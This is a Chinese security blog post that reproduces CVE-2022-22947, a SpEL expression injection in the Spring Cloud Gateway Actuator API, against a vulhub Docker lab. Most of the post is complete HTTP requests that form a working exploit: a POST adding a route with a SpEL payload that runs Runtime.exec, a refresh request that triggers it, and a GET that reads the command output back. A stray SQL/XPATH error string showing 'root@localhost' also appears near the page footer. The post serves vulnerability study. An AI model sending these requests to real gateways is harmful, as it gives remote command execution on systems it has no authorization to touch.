当前位置:首页 > 漏洞复现 > 正文内容

Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)

UzJu4年前 (2022-04-16)漏洞复现1927

Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)

一、环境搭建

https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947
docker-compose up -d

image-20220304103612832

image-20220304103622903

二、漏洞复现

添加一个含有恶意SpEL表达式的路由

image-20220304103642365

POST /actuator/gateway/routes/UzJu HTTP/1.1
Host:  ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 324

{
  "id": "UzJu",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
  }],
"uri": "http://example.com",
"order": 0
}

image-20220304103706496

如果遇到提示Unsupported Media Type

image-20220304103723431

需要加上Content-Type为application/json即可

Content-Type: application/json

刷新网关触发SpEL表达式

POST /actuator/gateway/refresh HTTP/1.1
Host: ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 0

image-20220304103757058

随后发送如下请求

GET /actuator/gateway/routes/UzJu HTTP/1.1
Host: ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 0

image-20220304103818120

扫描二维码推送至手机访问。

版权声明:本文由UzJu的安全屋发布,如需转载请注明出处。

SQL ERROR: ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'

本文链接:https://uzzju.com/post/31.html

分享给朋友:

相关文章

Apache APISIX Dashboard 接口未授权访问漏洞复现-CVE-2021-45232

Apache APISIX Dashboard 接口未授权访问漏洞复现-CVE-2021-45232

[TOC]一、环境搭建 Autor: UzJu Email: uzjuer@163.com 使用docker搭建环境 https://github.com/apache/apisix-docker 修改dock...